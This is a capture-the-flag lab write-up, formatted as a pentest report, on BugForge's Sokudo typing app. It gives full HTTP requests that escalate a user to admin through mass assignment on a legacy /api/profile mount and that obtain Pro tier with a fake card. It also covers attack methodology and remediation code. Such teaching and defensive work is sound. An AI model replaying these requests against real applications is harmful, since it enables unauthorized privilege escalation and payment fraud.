BugForge — 2026.07.04

Sokudo: Version-Drift Mass-Assignment to Admin

BugForge Version-Drift Mass Assignment easy

Part 1: Pentest Report

Executive Summary

Sokudo is a typing-speed web application on BugForge: a React single-page app backed by a Node/Express-style JSON API, using JWT (HS256) bearer tokens for authentication. Testing focused on reaching the admin role and retrieving the engagement flag. The profile-update handler is served at three mounts that drifted apart over time; the current mount was hardened with a field whitelist, but a legacy mount was left routable without it, letting an ordinary user write their own role to admin.

Testing confirmed 2 findings:

ID Title Severity CVSS CWE Endpoint
F1 Version-drift mass-assignment → privilege escalation to admin High 8.1 CWE-915, CWE-269 PUT /api/profile
F2 Payment bypass: fake card grants Pro tier Low 4.3 CWE-345 POST /v2/subscription/checkout

F1 is the finding that yields the flag. A self-registered user sends PUT /api/profile with {"role":"admin"}; the legacy mount binds the whole request body onto the user record, persisting the elevated role. As a genuine admin, the account then reads GET /v2/admin/users, and the flag is delivered in the admin account’s email field: bug{8XiXQMxKNyZbQPXvLL86kr8L3i0vT0fc}.


Objective

Escalate from a self-registered ordinary user to the admin role and retrieve the flag exposed to admin-only functionality.


Scope / Initial Access

# Target Application
URL: https://lab-1783028775422-mf13kg.labs-app.bugforge.io

# Auth details
Registration: open, self-service (POST /v2/register)
Token: JWT HS256 in Authorization: Bearer, stored in localStorage("token")
JWT payload: {"id":4,"username":"haxor","iat":...}  -- no role claim
Starting privileges: role "user", tier "free"

The JWT payload carries identity only (id, username, iat). There is no role, scope, or tier claim in the token, so the server resolves the caller’s role from stored state by identity rather than trusting a claim in the token.


Reconnaissance: Reading the Bundle

The application ships a single React bundle (main.df94ac42.js, 549 KB) that disclosed the full API surface, the admin-route gating logic, and the shape of the auth token. Mapping was done by reading that bundle and confirming behavior against live requests.

  1. Admin access is gated on the client only. The React route renders the admin panel with path:"/admin", element: (user && "admin"===user.role) ? <AdminPanel/> : <redirect /dashboard>, and the admin nav button renders only when "admin"===role. Client-side gating does not imply the server enforces the same check, so both had to be tested independently.
  2. The admin panel loads its data from GET /v2/admin/users and GET /v2/admin/sessions. No flag string appears anywhere in the bundle, so the flag is served from the API, most likely behind one of these admin endpoints.
  3. The profile-update handler is reachable at more than one mount: /v2/profile (current, called by the app) and /v1/profile. An unversioned /api/profile form is not called anywhere in the bundle, which makes it invisible to any inventory built from the frontend.
  4. The decoded JWT contains no role claim. Because authorization is a server-side identity lookup rather than a token claim, forging a role in the token is not a viable path; the escalation has to write the stored role or impersonate a privileged identity.
  5. PUT /v2/profile with {"role":"admin"} returned role:"user" in the echoed record, indicating the current mount applies a field whitelist that strips role. That closed the obvious mass-assignment path on the tested mount but did not rule out the sibling mounts serving the same handler.

Application Architecture

Component Detail
Frontend React single-page app (MUI), axios instance for API calls
Backend Node/Express-style JSON API
Auth JWT HS256 bearer token; payload holds identity only, role resolved server-side
Profile handler mounts /v2/profile (current, whitelisted), /v1/profile (410 Gone), /api/profile (legacy v0, no whitelist)

API Surface

Endpoint Method Auth Notes
/v2/register POST No Returns token + user (role:user, tier:free)
/v2/login POST No  
/v2/verify-token GET Yes Frontend’s source of the current role
/v2/profile GET, PUT Yes PUT applies a field whitelist; strips role
/v1/profile PUT Yes 410 Gone (deprecated)
/api/profile PUT Yes Legacy v0 mount, no whitelist; binds whole body (F1)
/v2/subscription/checkout POST Yes Accepts arbitrary card data (F2)
/v2/admin/users GET Yes (admin) Role-gated server-side; holds the flag
/v2/admin/sessions GET Yes (admin) Role-gated server-side

Known Users

Username ID Role
admin 1 admin
speedtyper 2 user
learner 3 user
haxor (ours) 4 user → admin

Attack Chain Visualization

┌──────────────┐     ┌────────────────────────┐     ┌───────────────────────┐     ┌────────────────┐
│ POST         │     │ PUT /api/profile       │     │ GET /v2/admin/users   │     │ Flag in        │
│ /v2/register │ ──▶ │ {"role":"admin"}       │ ──▶ │ (same Bearer token)   │ ──▶ │ admin.email     │
│ role: user   │     │ 200  role:"admin"      │     │ 200  full user table  │     │ bug{...}        │
└──────────────┘     └────────────────────────┘     └───────────────────────┘     └────────────────┘
  our token             legacy v0 mount binds           token now clears the         value delivered
  (id=4)                whole body (no whitelist)        server-side admin gate       in an unexpected field

Findings

F1: Version-Drift Mass-Assignment → Privilege Escalation to Admin

Severity: High CVSS v3.1: 8.1 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N) CWE: CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes), CWE-269 (Improper Privilege Management) Endpoint: PUT /api/profile Authentication required: Yes (any registered user)

Description

The profile-update handler is reachable at three mounts that have drifted apart:

  1. PUT /v2/profile (current) applies a field whitelist and strips role from the request body.
  2. PUT /v1/profile is deprecated and returns 410 Gone.
  3. PUT /api/profile (legacy v0) is still routable and binds the entire request body onto the user record, including role.

An ordinary user can therefore set their own role to admin through the legacy mount. The /v2/admin/* endpoints are correctly role-gated on the server, so this write is a genuine prerequisite rather than a shortcut: the escalation flips the stored role, which is exactly what the admin gate reads.

Impact

Full privilege escalation from an ordinary user to admin, exposing every user’s account record.

Reproduction

Step 1: Register an ordinary account

POST /v2/register HTTP/1.1
Host: lab-1783028775422-mf13kg.labs-app.bugforge.io
Content-Type: application/json

{"username":"haxor","email":"[email protected]","password":"password","full_name":""}

Response: 200 OK with {"token":"eyJhbGci...SsjIqI","user":{"id":4,"username":"haxor","role":"user","tier":"free"}}. The account starts as an ordinary user.

Step 2: Write the role through the legacy mount

PUT /api/profile HTTP/1.1
Host: lab-1783028775422-mf13kg.labs-app.bugforge.io
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJoYXhvciIsImlhdCI6MTc4MzAyODc5NX0.U_OBFjBzDapIw1nniGmVZ-OW8kvP3kdASxJ0YSsjIqI

{"full_name":"test","bio":"","website":"","keyboard":"","role":"admin"}

Response: 200 OK with {"message":"Profile updated","profile":{"id":4,"username":"haxor","role":"admin","tier":"free",...}}. The echoed record shows role:"admin"; the value was bound and persisted, not stripped.

Step 3: Read the admin user list with the same token

GET /v2/admin/users HTTP/1.1
Host: lab-1783028775422-mf13kg.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJoYXhvciIsImlhdCI6MTc4MzAyODc5NX0.U_OBFjBzDapIw1nniGmVZ-OW8kvP3kdASxJ0YSsjIqI

Response: 200 OK with the full user table. The same token that could not reach this endpoint before now clears the admin gate. The flag is delivered in the admin account’s email field:

[{"id":1,"username":"admin","email":"bug{8XiXQMxKNyZbQPXvLL86kr8L3i0vT0fc}","full_name":"System Administrator","role":"admin","tier":"pro","created_at":"2026-07-02 21:46:16"},{"id":2,"username":"speedtyper","email":"[email protected]","full_name":"Lightning Fast","role":"user","tier":"pro","created_at":"2026-07-02 21:46:16"},{"id":3,"username":"learner","email":"[email protected]","full_name":"Practice Makes Perfect","role":"user","tier":"free","created_at":"2026-07-02 21:46:16"},{"id":4,"username":"haxor","email":"[email protected]","full_name":"test","role":"admin","tier":"free","created_at":"2026-07-02 21:46:35"}]

Remediation

Fix 1: Apply the field whitelist to every profile mount, or remove the legacy mount

// BEFORE (Vulnerable): legacy /api/profile binds the whole body
app.put('/api/profile', auth, (req, res) => {
  const updated = db.updateUser(req.user.id, req.body); // role included
  res.json({ message: 'Profile updated', profile: updated });
});

// AFTER (Secure): whitelist user-editable fields; role is never client-writable
const PROFILE_FIELDS = ['full_name', 'bio', 'website', 'keyboard'];
function pickAllowed(body) {
  return Object.fromEntries(
    Object.entries(body).filter(([k]) => PROFILE_FIELDS.includes(k))
  );
}
app.put('/api/profile', auth, (req, res) => {
  const updated = db.updateUser(req.user.id, pickAllowed(req.body));
  res.json({ message: 'Profile updated', profile: updated });
});

Additional recommendations:

  • Decommission deprecated mounts fully. /v1/profile returns 410; the /api (v0) mount should be removed or return the same, not silently serve an older, unhardened handler.
  • Centralize the field whitelist in one place (a shared serializer or update function) so every mount inherits the same rule and controls cannot drift per version.
  • Never accept role, tier, isAdmin, or similar privilege fields from a client-controlled body on any endpoint; set them only through server-side flows that check authorization.

F2: Payment Bypass: Fake Card Grants Pro Tier

Severity: Low CVSS v3.1: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N) CWE: CWE-345 (Insufficient Verification of Data Authenticity) Endpoint: POST /v2/subscription/checkout Authentication required: Yes (any registered user)

Description

The subscription checkout endpoint accepts arbitrary card data with no validation. A syntactically invalid card (repeated digits, expiry 99/99) is accepted and the account is upgraded to the Pro tier. This is a separate defect from F1 with an independent root cause.

The CVSS base score is 4.3 (Medium band). This finding is rated Low because on this typing-speed app the Pro tier is a cosmetic feature (an alternate practice mode plus a profile badge) with no data, privilege, or financial-of-consequence impact.

Impact

Any registered user can obtain the paid Pro tier without valid payment.

Reproduction

Step 1: Submit checkout with an invalid card

POST /v2/subscription/checkout HTTP/1.1
Host: lab-1783028775422-mf13kg.labs-app.bugforge.io
Content-Type: application/json
Authorization: Bearer <user token>

{"paymentMethod":{"number":"4444 4444 4444 4444","exp":"99/99","cvc":"123"}}

Response: 200 OK with {"message":"Welcome to Pro","tier":"pro"}. The endpoint reports the tier upgraded on an obviously invalid card. Post-checkout persistence was not independently confirmed with a follow-up GET /v2/subscription; the observed fact is the checkout endpoint’s own response.

Remediation

Fix 1: Verify payment with the processor before granting entitlement

// BEFORE (Vulnerable): trust the request and upgrade
app.post('/v2/subscription/checkout', auth, (req, res) => {
  db.setTier(req.user.id, 'pro');
  res.json({ message: 'Welcome to Pro', tier: 'pro' });
});

// AFTER (Secure): upgrade only on a confirmed charge from the payment provider
app.post('/v2/subscription/checkout', auth, async (req, res) => {
  const charge = await paymentProvider.createCharge({
    userId: req.user.id,
    paymentMethod: req.body.paymentMethod,
  });
  if (charge.status !== 'succeeded') {
    return res.status(402).json({ message: 'Payment failed' });
  }
  db.setTier(req.user.id, 'pro');
  res.json({ message: 'Welcome to Pro', tier: 'pro' });
});

Additional recommendations:

  • Never derive entitlement from the client’s checkout call; grant tier changes only from a verified provider event (charge confirmation or webhook).
  • Validate card input server-side as a minimum sanity gate, but treat provider confirmation as the authority.

OWASP Top 10 Coverage

  • A01:2021 Broken Access Control: F1 lets an ordinary user write their own role to admin and then reach admin-only data, a vertical privilege escalation.
  • A05:2021 Security Misconfiguration: F1’s root cause is a deprecated profile-update mount (/api) left routable without the field whitelist that hardens the current mount.
  • A04:2021 Insecure Design: F2’s checkout flow grants a paid tier without any verification of payment.

Tools Used

Tool Purpose
Caido Intercepting proxy and request replay for the profile-mount sweep and admin reads
Browser DevTools Reading the React bundle to map the API surface and admin gating
jwtforge Decoding the JWT to confirm the payload carried no role claim

References

  • CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes (https://cwe.mitre.org/data/definitions/915.html)
  • CWE-269: Improper Privilege Management (https://cwe.mitre.org/data/definitions/269.html)
  • CWE-345: Insufficient Verification of Data Authenticity (https://cwe.mitre.org/data/definitions/345.html)
  • OWASP API Security Top 10, API3:2023 Broken Object Property Level Authorization / Mass Assignment (https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/)
  • OWASP Top 10 2021: A01 Broken Access Control, A04 Insecure Design, A05 Security Misconfiguration (https://owasp.org/Top10/)

Part 2: Notes / Knowledge

Key Learnings

  • When a write route strips a privileged field, re-fire the same field against its sibling mounts, including the unversioned /api (v0) mount; probe the ladder directly rather than deriving it from the frontend bundle. A field whitelist that strips role on the mount you tested means mass-assignment looks dead, not that it is dead. Security controls get added to the newest handler, and the legacy sibling mount is left routable and unhardened, still binding the whole body onto the record. Enumerate the version ladder for that same handler (/api, /v1, /v2, and so on) and re-send the same body carrying the disallowed field to each, then diff the echoed record per mount. Build that ladder by direct probing, not from the bundle: legacy mounts are frequently not called by the app and will never appear in an inventory derived from the frontend. Here PUT /v2/profile {role:admin} echoed role:user and looked like a dead end, while PUT /api/profile with the same body persisted role:admin and led to the flag.

  • When the JWT payload carries identity only (id/username) and no role or authorization claim, authorization is a server-side identity lookup, so privilege escalation means writing your stored role or impersonating the privileged identity, not forging a role claim. If the token does not carry the role, the server reads it from stored state by identity, so there is no role claim to forge and alg=none or claim injection buys nothing beyond a cheap authentication-bypass rule-out. Redirect effort to writing your own stored role through a write endpoint (mass-assignment or profile update, and its sibling mounts) or to impersonating the privileged identity by swapping id/username, which requires breaking the signature. In this engagement the decoded token was {id:4, username:"haxor", iat:...} with no role, which reframed “become admin” away from token forging and toward the profile write that flips the stored role.


Failed Approaches

Approach Result Why It Failed
PUT /v2/profile {role:admin} 200, response role:user Current mount applies a field whitelist that strips role
PUT /v1/profile {role:admin} 410 Gone Deprecated mount no longer serves the handler
alg=none JWT forgery Rejected Server verifies the HS256 signature; unsigned tokens are refused
GET /v2/admin/users before escalation 403 (operator observation) Endpoint is role-gated server-side; not a broken-access-control shortcut
GET /v2/stats during the walk 403 “Invalid token” Stale token, not a tier gate (red herring)

Tags: #mass-assignment #privilege-escalation #version-drift #broken-access-control #jwt #bugforge Document Version: 1.0 Last Updated: 2026-07-04

#mass-assignment #privilege-escalation #version-drift #broken-access-control #jwt #bugforge #webapp